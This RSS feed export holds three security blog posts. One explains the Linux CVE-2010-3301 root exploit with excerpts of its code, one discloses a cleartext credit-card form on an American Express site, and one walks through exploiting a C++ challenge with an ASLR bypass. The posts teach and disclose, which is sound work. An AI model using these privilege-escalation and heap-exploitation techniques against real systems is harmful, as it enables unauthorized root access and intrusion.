<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>time to bleed by Joe Damato &#187; security</title>
	<atom:link href="http://timetobleed.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://timetobleed.com</link>
	<description>technical ramblings from a wanna-be unix dinosaur</description>
	<lastBuildDate>Tue, 05 Jul 2011 13:00:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>detailed explanation of a recent privilege escalation bug in linux (CVE-2010-3301)</title>
		<link>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/</link>
		<comments>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/#comments</comments>
		<pubDate>Mon, 27 Sep 2010 11:59:43 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[bugfix]]></category>
		<category><![CDATA[kernel]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[privileges]]></category>
		<category><![CDATA[syscall]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1975</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. I&#8217;ll explain what the deal is from the kernel side and the exploit side. This article is long and technical; prepare yourself. [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/root.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This article is going to explain how a recent <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3301">privilege escalation exploit</a> for the Linux kernel works. I&#8217;ll explain what the deal is from the <a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380">kernel side</a> and the <a href="http://sota.gen.nz/compat2/robert_you_suck.c">exploit side</a>.</p>
<p>This article is long and technical; prepare yourself.</p>
<h2>ia32 syscall emulation</h2>
<p>There are two ways to invoke system calls on the Intel/AMD family of processors:</p>
<ol>
<li>Software interrupt <code>0x80</code>.</li>
<li>The <code>sysenter</code> family of instructions.</li>
</ol>
<p>The <code>sysenter</code> family of instructions are a faster syscall interface than the traditional <code>int 0x80</code> interface, but aren&#8217;t available on some older 32bit Intel CPUs.</p>
<p>The Linux kernel has a layer of code to allow syscalls executed via <code>int 0x80</code> to work on newer kernels. When a system call is invoked with <code>int 0x80</code>, the kernel rearranges state to pass off execution to the desired system call thus maintaing support for this older system call interface.</p>
<p>This code can be found at <a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380</a>. We will examine this code much more closely very soon.</p>
<h2>ptrace(2) and the ia32 syscall emulation layer</h2>
<p>From the ptrace(2) man page (emphasis mine):</p>
<p>
<blockquote>The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement break-point debugging and <b>system call tracing</b>.</p></blockquote>
<p>If we examine the IA32 syscall emulation code we see some code in place to support <code>ptrace</code><sup>1</sup>:</p>
<pre class="prettyprint">
ENTRY(ia32_syscall)
/* . . . */
        GET_THREAD_INFO(%r10)
          orl $TS_COMPAT,TI_status(%r10)
        testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
        jnz ia32_tracesys
</pre>
</p>
<p>This code is placing a pointer to the thread control block (TCB) into the register <code>r10</code> and then checking if <code>ptrace</code> is listening for system call notifications. If it is, a secondary code path is entered.</p>
<p>Let&#8217;s take a look<sup>2</sup>:</p>
<pre class="prettyprint">
ia32_tracesys:
        /* . . . */
        call syscall_trace_enter
        LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
        RESTORE_REST
        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call
END(ia32_syscall)
</pre>
</p>
<p>Notice the <code>LOAD_ARGS32</code> macro and comment above. That macro <i>reloads</i> register values <i>after</i> the ptrace syscall notification has fired. <b>This is really fucking important</b> because the userland parent process listening for ptrace notifications may have modified the registers which were loaded with data to correctly invoke a desired system call. It is <i>crucial</i> that these register values are untouched to ensure that the system call is invoked correctly.</p>
<p>Also take note of the sanity check for <code>%eax</code>: <code>cmpl $(IA32_NR_syscalls-1),%eax</code></p>
<p>This check is ensuring that the value in <code>%eax</code> is less than or equal to (number of syscalls &#8211; 1). If it is, it executes <code>ia32_do_call</code>.</p>
<p>Let&#8217;s take a look at the <code>LOAD_ARGS32</code> macro<sup>3</sup>:</p>
<pre class="prettyprint">
.macro LOAD_ARGS32 offset, _r9=0
/* . . . */
movl \offset+40(%rsp),%ecx
movl \offset+48(%rsp),%edx
movl \offset+56(%rsp),%esi
movl \offset+64(%rsp),%edi
.endm
</pre>
</p>
<p><b>Notice that the register <code>%eax</code> is left untouched by this macro, even <i>after</i> the ptrace parent process has had a chance to modify its contents.</b></p>
<p>Let&#8217;s take a look at <code>ia32_do_call</code> which actually transfers execution to the system call<sup>4</sup>:</p>
<pre class="prettyprint">
ia32_do_call:
        IA32_ARG_FIXUP
        call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
</pre>
</p>
<p>The system call invocation code is calling the function whose address is stored at <code>ia32_sys_call_table[8 * %rax]</code>. That is, the <code>(8 * %rax)</code>th entry in the <code>ia32_sys_call_table</code>.</p>
<h2>subtle bug leads to sexy exploit</h2>
<p>This bug was originally discovered by the polish hacker &#8220;cliph&#8221; in 2007, fixed, but then reintroduced accidentally in early 2008.</p>
<p>The exploit is made by possible by <i>three</i> key things:</p>
<ol>
<li>The register <code>%eax</code> is not touched in the <code>LOAD_ARGS</code> macro and can be set to any arbitrary value by a call to <code>ptrace</code>.</li>
<li>The <code>ia32_do_call</code> uses <code>%rax</code>, not <code>%eax</code>, when indexing into the <code>ia32_sys_call_table</code>.</li>
<li>The <code>%eax</code> check (<code>cmpl $(IA32_NR_syscalls-1),%eax</code>) in <code>ia32_tracesys</code> only checks <code>%eax</code>. Any bits in the upper 32bits of <code>%rax</code> <i>will be ignored by this check</i>.</li>
</ol>
<p>These three stars align and allow an attacker cause an <b>integer overflow</b> in <code>ia32_do_call</code> causing the kernel to hand off execution to an arbitrary address.</p>
<p>Damnnnnn, that&#8217;s hot.</p>
<h2>the exploit, step by step</h2>
<p>The exploit code is available <a href="http://sota.gen.nz/compat2/robert_you_suck.c">here</a> and was written by Ben Hawkes and others.</p>
<p>The exploit begins execution by forking and executing two copies of itself:</p>
<pre class="prettyprint">
        if ( (pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }
</pre>
</p>
<p>The child process is set up to be traced with <code>ptrace</code> by setting the <code>PTRACE_TRACEME</code>.</p>
<p>The parent process enters a loop:</p>
<pre class="prettyprint">
        for (;;) {
                if (wait(&#038;status) != pid)
                        continue;

                /* ... */

                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                }

                /* ... */

                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
         }
</pre>
</p>
<p>The parents calls <code>wait</code> and blocks until entry into a system call. When a system call is entered, <code>ptrace</code> is invoked to read the value of the <code>rax</code> register. If the value is <code>0x101</code>, <code>ptrace</code> is invoked to set the value of <code>rax</code> to <code>0x800000101</code> to cause an overflow as we&#8217;ll see shortly. <code>ptrace</code> is then invoked to resume execution in the child.</p>
<p>While this is happening, the child process is executing. It begins by looking the address of two symbols in the kernel:</p>
<pre class="prettyprint">
	commit_creds = (_commit_creds) get_symbol("commit_creds");
	/* ... */

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
       /* ... */
</pre>
</p>
<p>Next, the child process attempts to create an anonymous memory mapping using <code>mmap</code>:</p>
<pre class="prettyprint">
        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
          /* ... */
</pre>
</p>
<p>This mapping is created at the address <code>tmp</code>. <code>tmp</code> is set earlier to: <code>0xffffffff80000000 + (0x0000000800000101 * 8)</code> (stored in <code>kern_s</code> in <code>main</code>).</p>
<p>This value actually causes an overflow, and wraps around to: <code>0x3f80000808</code>. <code>mmap</code> only creates mappings on page-aligned addresses, so the mapping is created at: <code>0x3f80000000</code>. This mapping is 64 megabytes large (stored in <code>size</code>).</p>
<p>Next, the child process writes the address of a function called <code>kernelmodecode</code> which makes use of the symbols <code>commit_creds</code> and <code>prepare_kernel_cred</code> which were looked up earlier:</p>
<pre class="prettyprint">
int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}
</pre>
</p>
<p>The address of that function is written over and over to the 64mb memory that was mapped in:</p>
<pre class="prettyprint">
        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;
</pre>
</p>
<p>Finally, the child process executes syscall number <code>0x101</code> and then executes a shell after the system call returns:</p>
<pre class="prettyprint">
        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");

        /* . . . */
        execl("/bin/sh", "bin/sh", NULL);
</pre>
</p>
<h2>tying it all together</h2>
<p>When system call <code>0x101</code> is executed, the parent process (described above) receives a notification that a system call is being entered. The parent process then sets <code>rax</code> to a value which will cause an overflow: <code>0x800000101</code> and resumes execution in the child.</p>
<p>The child executes the erroneous check described above:</p>
<pre class="prettyprint">
        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call
</pre>
</p>
<p>Which <b><i>succeeds</i></b>, because it is only comparing the <i>lower 32bits</i> of <code>rax</code> (<code>0x101</code>) to <code>IA32_NR_syscalls-1</code>.</p>
<p>Next, execution continues to <code>ia32_do_call</code>, which causes an overflow, since <code>rax</code> contains a very large value.</p>
<pre class="prettyprint">
call *ia32_sys_call_table(,%rax,8)
</pre>
</p>
<p>Instead of calling the function whose address is stored in the <code>ia32_sys_call_table</code>, the address is pulled from the memory the child process mapped in, which contains the address of the function <code>kernelmodecode</code>.</p>
<p><code>kernelmodecode</code> is part of the exploit, but the kernel has access to the entire address space and is free to begin executing code wherever it chooses. As a result, <code>kernelmodecode</code> executes in kernel mode setting the privilege level of the process to those of <code>init</code>.</p>
<p>The system has been rooted.</p>
<h2>The fix</h2>
<p>The fix is to zero the upper half of <code>eax</code> and change the comparison to examine the entire register. You can see the diffs of the fix <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=arch/x86/ia32/ia32entry.S;h=518bb99c339480820fc3995b1456d29704d67f07;hp=84e3a4ef9719562f67d32a426aa60e5c23093abd;hb=eefdca043e8391dcd719711716492063030b55ac;hpb=36d001c70d8a0144ac1d038f6876c484849a74de">here</a> and <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=arch/x86/ia32/ia32entry.S;h=84e3a4ef9719562f67d32a426aa60e5c23093abd;hp=b86feabed69bfe8e74f81f179c91fbe3a4b799d8;hb=36d001c70d8a0144ac1d038f6876c484849a74de;hpb=c41d68a513c71e35a14f66d71782d27a79a81ea6">here</a>.</p>
<h2>Conclusions</h2>
<ul>
<li>Reading exploit code is fun. Sometimes you find particularly sexy exploits like this one.</li>
<li>The IA32 syscall emulation layer is, in general, pretty wild. I would not be surprised if more bugs are discovered in this section of the kernel.</li>
<li>Code reviews play a really important part of overall security for the Linux kernel, but subtle bugs like this are very difficult to catch via code review.</li>
<li>I'm not a Ruby programmer.</li>
</ul>
<p>If you enjoyed this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424</a></li><li id="footnote_1_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439</a></li><li id="footnote_2_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50</a></li><li id="footnote_3_1975" class="footnote"><a href="http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430">http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430</a></li></ol>]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/detailed-explanation-of-a-recent-privilege-escalation-bug-in-linux-cve-2010-3301/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>WARNING: American Express fails miserably at basic security.</title>
		<link>http://timetobleed.com/warning-american-express-fails-miserably-at-basic-security/</link>
		<comments>http://timetobleed.com/warning-american-express-fails-miserably-at-basic-security/#comments</comments>
		<pubDate>Tue, 25 May 2010 18:54:55 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1711</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. As of 3:35pm PST on 5/25/2010 it seems to be fixed. wireshark shows only TLS traffic now, nothing in the clear. Pretty quick fix, since this was published at 11:54am. Good deal. This article is going to reveal a pretty [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/americanexpress.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>As of 3:35pm PST on 5/25/2010 it seems to be fixed. wireshark shows only TLS traffic now, nothing in the clear. Pretty quick fix, since this was published at 11:54am. Good deal.</h2>
<p>
<b>This article is going to reveal a pretty serious error in a web form on the American Express Network website. <u>I would strongly recommend NOT filling out the web form described below</u>.</b></p>
<h2>Daily Wish from the American Express Network</h2>
<p><a href="http://dailywish.amexnetwork.com">Daily wish</a> from the <a href="http://www1.amexnetwork.com/?issuerName=us_amexnetworkdefault">American Express Network</a> sent me an email this morning trying to get me to sign up for their deal of the day service where they offer a very limited quantity of products for a low price.</p>
<p>Sounds simple enough, right?</p>
<p>Well, the time of the sale is not released until the day the sale occurs, <b>unless</b> you are an American Express cardholder. If you are a card holder, you get a special landing page on their website telling you that if you sign up, you can get the sale times before the sale date.</p>
<p>The white arrow below points to the tab that only appears if you clicked through from an email from American Express. The red arrow below points to the sign up button. Take a look:<br />
<br />
<img src="http://timetobleed.com/images/amexlanding2.png" width="650"/>
</p>
<h2>Sign up page</h2>
<p>After clicking the sign up button (red arrow above), a lightbox appears asking for:</p>
<ul>
<li><b>First and last name</b></li>
<li><b>American Express credit card number</b></li>
<li><b>Security code</b></li>
<li><b>Expiration date</b></li>
<li><b>Billing zip</b></li>
</ul>
<p>Quite a bit of personal information, much of it sensitive. [sarcarsm]<b>Don&#8217;t worry the page is secure</b>[/sarcasm], see the form and the white arrow below:<br />
<br />
<img src="http://timetobleed.com/images/amexsignup.png">
</p>
<h2>The code from the form</h2>
<p>This form looked very suspicious to me, so I decided to take a look at the code to see if the <code>action</code> for this sign up form was over <code>HTTPS</code>. Check it:</p>
<pre>
&lt;form name="form1" method="post" action="preid2.aspx?ct=7" onsubmit="javascript:return WebForm_OnSubmit();" id="form1"&gt;
</pre>
<p>
<p>So the action is to a handler at <code>http://dailywish.amexnetwork.com/preid2.aspx?ct=7</code>. <u><b>The lack of <code>https</code> doesn&#8217;t make me feel very good.</b></u></p>
<p>Maybe the <code>WebForm_OnSubmit()</code> function is doing something that might make this secure?  Let&#8217;s take a look:<br />
</p>
<pre>
&lt;script type="text/javascript">
//&lt;![CDATA[
function WebForm_OnSubmit() {
if (typeof(ValidatorOnSubmit) == "function" &#038;&#038; ValidatorOnSubmit() == false) return false;
return true;
}
//]]&gt;
&lt;/script&gt;
</pre>
<p>
<br />
So it looks like that function is just a validator. It is really starting to feel like this form is insecure.
</p>
<p>Let&#8217;s bring out wireshark and see what it has to say.</p>
<h2>Wireshark packet sniff</h2>
<p>So I filled out the form with <u>fake information</u> and sniffed the <code>POST</code> to the server.</p>
<p><b>The Daily Wish sign up form from the American Express Network is sending credit card numbers, expiration dates, and all the other personal information on the sign up form <u><i>in the clear</i></u> back to their server.</b></p>
<p><i>Holy. Fuck.</i></p>
<p>
<img src="http://timetobleed.com/images/amexfail.png">
</p>
<h2>Conclusion</h2>
<ul>
<li><b>Do NOT fill out the form until American Express fixes this issue.</b></li>
</ul>
<p>Thanks for reading and don&#8217;t forget to <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://timetobleed.com/warning-american-express-fails-miserably-at-basic-security/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>Defeating the Matasano C++ Challenge with ASLR enabled</title>
		<link>http://timetobleed.com/defeating-the-matasano-c-challenge-with-aslr-enabled/</link>
		<comments>http://timetobleed.com/defeating-the-matasano-c-challenge-with-aslr-enabled/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 11:59:29 +0000</pubDate>
		<dc:creator>Joe Damato</dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[x86]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[x86_64]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=1152</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. Important note I am NOT a security researcher (I kinda want to be though). As such, there are probably way better ways to do everything in this article. This article is just illustrating my thought process when cracking this challenge. [...]]]></description>
			<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/computer_bug.jpg"  alt="" width="400" height="300"/></center><br />

<p>If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>Important note</h2>
<p>I am <b>NOT</b> a security researcher (I kinda want to be though). As such, there are probably way better ways to do everything in this article. This article is just illustrating my thought process when cracking this challenge.</p>
<h2>The Challenge</h2>
<p>The <a href="http://chargen.matasano.com/chargen/2009/10/9/a-c-challenge.html">Matasano Security blog</a> recently posted an article titled <i>A C++ Challenge</i><sup>1</sup> which included a particularly ugly piece of C++ code that has a security vulnerability. The challenge is for the reader to find the vulnerability, use it execute arbitrary code, and submit the data to Matasano.</p>
<p>Sounds easy enough, let&#8217;s do this! <i>cue hacking music</i></p>
<h2>Making it harder</h2>
<p>Recent linux kernels have feature called Address Space Layout Randomization (ASLR) which can be set in <code>/proc/sys/kernel/randomize_va_space</code>. ASLR is a security feature which randomizes the start address of various parts of a process image. Doing this makes exploiting a security bug more difficult because the exploit cannot use any hard coded addresses.</p>
<p>The options you can set are:</p>
<ul>
<li>0 &#8211; ASLR off</li>
<li>1 &#8211; Randomize the addresses of the stack, mmap area, and VDSO page. <b>This is the default.</b></li>
<li>2 &#8211; Everything in option 1, but also randomize the <code>brk</code> area so the heap is randomized.</li>
</ul>
<p>Just for fun I decided to set it to <b>2</b> to make exploiting the challenge more difficult.</p>
<h2>Got the code, but now what?</h2>
<p>I decided to start attacking this problem by looking for a few common errors, in this order:</p>
<ol>
<li><code>strcpy()/strncpy()</code> bugs <b>No calls</b></li>
<li><code>memcpy()</code> bugs <b>A few calls</b></li>
<li>Off by one bugs <b>None obvious</b></li>
</ol>
<p>It turned out from a quick look that all calls to <code>memcpy()</code> included sane, hard-coded values. So, it had to be something more complex.</p>
<h2>Digging deeper &#8211; finding input streams the user can control</h2>
<p>Next, I decided to actually <b>read</b> the code and see what it was doing at a high level and what inputs could be controlled. Turns out that the program reads data from a file and uses the data from the file to determine how many objects to allocate.</p>
<p>Obviously, this portion of the code caught my interest so let&#8217;s take a quick look:</p>
<pre class="prettyprint">
/* ... */

fd.read(file_in_mem, MAX_FILE_SIZE-1);

/* ... */

struct _stream_hdr *s = (struct _stream_hdr *) file_in_mem;

if(s->num_of_streams >= INT_MAX / (int)sizeof(int)) {
    safe_count = MAX_STREAMS;
} else {
    safe_count = s->num_of_streams;
}

Obj *o = new Obj[safe_count];
</pre>
<p>
<p>OK, so clearly that <code>if</code> statement is suspect. At the <i>very least</i> it doesn&#8217;t check for negative values, so you could end up with <code>safe_count = -1</code> which might do something interesting when passed to the <code>new</code> operator. Moreover, it appears this <code>if</code> statement will allow values as large as 536870910 ([INT_MAX / sizeof(int)] &#8211; 1).</p>
<p>Maybe the exploit has something to do with values this <code>if</code> statement is allowing through?</p>
<h2>A closer look at the integer overflow in <code>new</code></h2>
<p>Let&#8217;s use GDB to take a closer look at what the compiler does before calling new. I&#8217;ve added a few comments in line to explain the assembly code:</p>
<pre class="prettyprint">
mov    %edx,%eax   ;  %edx and %eax store s->num_of_streams
add    %eax,%eax   ;  add %eax to itself (s->num_of_streams * 2)
add    %edx,%eax   ;  add  s->num_of_streams + %eax (s->num_of_streams*3)
shl    $0x2,%eax   ;  multiply (s->num_of_streams * 3) by 4  (s->num_of_streams * 12)
mov    %eax,(%esp) ;  move it into position to pass to new
call   0x8048a7c <_Znaj@plt> ; call new
</pre>
<p>
<p>The compiler has generated code to calculate: <code>s->num_of_streams * sizeof(Obj)</code>. <code>sizeof(Obj)</code> is 12 bytes. For large values of <code>s->num_of_streams</code> multiplying it by 12, causes an <b>integer overflow</b> and the value passed to new will actually be <i>less than</i> what was intended.</p>
<p>For my exploit, I ended up using the value 357913943. This value causes an overflow, because 357913943 * 12 is <i>greater than</i> the biggest possible value for an integer by 20. So the value passed to new is 20. Which is, of course, significantly less than what we actually wanted to allocate. Other people have written about integer overflow in <code>new</code> in other compilers<sup>2</sup> before.</p>
<p>Let&#8217;s see how this can be used to cause arbitrary code to execute. <b>Remember</b>, for arbitrary code execution to occur there <i>must</i> be a way to <i>cause the target program to write some data to a memory address that can be controlled</i>.</p>
<h2>Find the (possible) hand-off(s) to arbitrary code</h2>
<p>To find any hand-off locations, I looked for places where memory writes were occurring in the program. I found a few memory writes:</p>
<ul>
<li>2 calls to <code>memset()</code></li>
<li>2 calls to <code>memcpy()</code></li>
<li><code>parse_stream()</code> of <code>class Obj</code></li>
</ul>
<p>Unfortunately (from the attacker&#8217;s perspective) the calls to <code>memcpy()</code> and <code>memset()</code> <i>looked</i> pretty sane. The <code>parse_stream()</code> function caught my interest, though.</p>
<p>Take a look:</p>
<pre class="prettyprint">
class Obj {
    public:
    int parse_stream(int t, char *stream)
    {
      type = t;
      // ... do something with stream here ...
      return 0;
    }

    int length;
    int type;
/* ... */
</pre>
<p>
<p><b>REMEMBER:</b> In C++, member functions of <code>class</code>es have a <b>sekrit parameter</b> which is a pointer to the object the function is being called on. In the function itself, this parameter is accessed using <code>this</code>. So the line writing to the <code>type</code> variable is actually doing <code>this->type = t;</code> where <code>this</code> is supplied to the function <b>sektrily</b> by the compiler.</p>
<p><b>This is important</b> because this piece of code could be our hand-off! We need to find a way to control the value of <code>this</code> so we can cause a memory write to a location of our choice.</p>
<h2>Controlling <code>this</code> to cause arbitrary code to execute</h2>
<p>Take a look at an important piece of code in the challenge:</p>
<pre class="prettyprint">
struct imetad {
  int msg_length;
  int (*callback)(int, struct imetad *);
/* ... */
</pre>
<p>
<p>Nice! The <code>callback</code> field of <code>struct imetad</code> is offset by 4 bytes into the structure. The <code>type</code> field of <code>class Obj</code> is also offset by 4 bytes. See where I&#8217;m going?</p>
<p>If we can control the <code>this</code> pointer to point at the <code>struct imetad</code> on the heap when <code>parse_stream</code> is called, it will overwrite the <code>callback</code> pointer. We&#8217;ll then be able to set the pointer to any address we want and hand-off execution to arbitrary code!</p>
<p>But how can we manipulate <code>this</code>?</p>
<p>Take a look at this piece of code that calls <code>callback</code>:</p>
<pre class="prettyprint">
o[i].parse_stream(dword, stream_temp);
imd->callback(o[i].type, imd);
</pre>
<p>
<p>Since it is possible to overflow <code>new</code> and allocate fewer objects than <code>safe_count</code> is counting, that means that for some values of i, <i><code>o[i]</code> will be pointing at data that isn&#8217;t actually an <code>Obj</code> object, but just other data on the heap</i>. Infact, when <code>i = 2</code>, <b><code>o[i]</code> will be pointing at the <code>struct imetad</code> object on the heap</b>. The call to <code>parse_stream</code> will pass in a corrupted <code>this</code> pointer, that points at <code>struct imetad</code>. The write to <code>type</code> will actually overwrite <code>callback</code> since they are both offset equal amounts into their respective structures.</p>
<p>And with that, we&#8217;ve successfully exploited the challenge causing arbitrary code to execute.</p>
<p>Let&#8217;s now figure out how to beat ASLR!</p>
<h2>How to defeat address space layout randomization</h2>
<p>I <b>did NOT</b> invent this technique, but I read about it and thought it was cool. You can read a more verbose explanation of this technique <a href="http://sophsec.com/research/aslr_research.html">here</a>. The idea behind the technique is pretty simple:
</p>
<ul>
<li>When you call <code>exec</code>, the PID remains the same, but the image of the process in memory is changed.</li>
<li>The kernel uses the PID and the number of jiffies (jiffies is a fine-grained time measurement in the kernel) to pull data from the entropy pool.</li>
<li>If you can run a program which records stack, heap, and other addresses and then quickly call <code>exec</code> to start the vulnerable program, you can end up with the <b>same memory layout</b>.</li>
</ul>
<p>My exploit program is actually a <i>wrapper</i> which records an approximate location of the heap (by just calling <code>malloc()</code>), generates the exploit file, and then executes the challenge binary.</p>
<p>Take a look at the relevant pieces of my exploit to get an idea of how it works:
<pre class="prettyprint">
/* ... */

/* do a malloc to get an idea of where the heap lives */
void *dummy = malloc(10);

/* ... */

unsigned int shell_addr = reinterpret_void_ptr_as_uint(dummy);

/*
 * XXX TODO FIXME - on my platform, execl'ing from here to the challenge binary
 * incurs a constant offset of 0x3160, probably for changes in the environment
 * (libs linked for c++ and whatnot).
 */
shell_addr += 0x3160;

/*
 * a guess as to how far off the heap the shellcode lives.
 *
 * luckily we have a large NOP sled, so we should only fail when we miss
 * the current entropy cycle (see below).
 */
shell_addr += 700;

/* ... build exploit file in memory ... */

/* copy in our best guess as to the address of the shellcode, pray NOPs
 * take care of the rest! */
memcpy(entire_file+88, &#038;shell_addr, sizeof(shell_addr));

/* ... write exploit out to disk ... */

/* launch program with the generated exploit file!
*
* calling execl here inherits the PID of this process, and IF we get lucky
* ~85%+ of the time, we'll execute before the next entropy cycle and hit
* the shellcode, even with ASLR=2.
*/
execl("./cpp_challenge", "cpp_challenge", "exploit", (char *)0);
</pre>
<h2>My exploit for the C++ challenge</h2>
<p>My exploit comes with the following caveats:</p>
<ul>
<li>i386 system</li>
<li>The challenge binary is called &#8220;cpp_challenge&#8221; and lives in the same directory as the exploit binary.</li>
<li>The exploit binary can write to the directory and create a file called &#8220;exploit&#8221; which will be handed off to &#8220;cpp_challenge&#8221;</li>
</ul>
<p>Get the full code of my exploit <a href="http://timetobleed.com/files/exploit_gen.c">here</a>.</p>
<h2>Results</h2>
<p>Results on my i386 Ubuntu 8.04 VM running in VMWare fusion, for each level of randomize_va_space:</p>
<ul>
<li>0 &#8211; <b>100%</b> exploit hit rate</li>
<li>1 &#8211; <b>100%</b> exploit hit rate</li>
<li>2 &#8211; <b>~85%</b> exploit hit rate. Sometimes, my exploit code falls out of the time window and the address map changes before the challenge binary is run</li>
</ul>
<p>I could probably boost the hit rate for 2 a bit, but then I&#8217;d probably re-write the entire exploit in assembly to make it run as fast as possible. I didn&#8217;t think there was really a point to going to such an extreme, though. So, an 85% hit rate is good enough.</p>
<h2>Conclusion</h2>
<ol>
<li>Security challenges are fun.</li>
<li>More emphasis and more freely available information on secure coding would be very useful.</li>
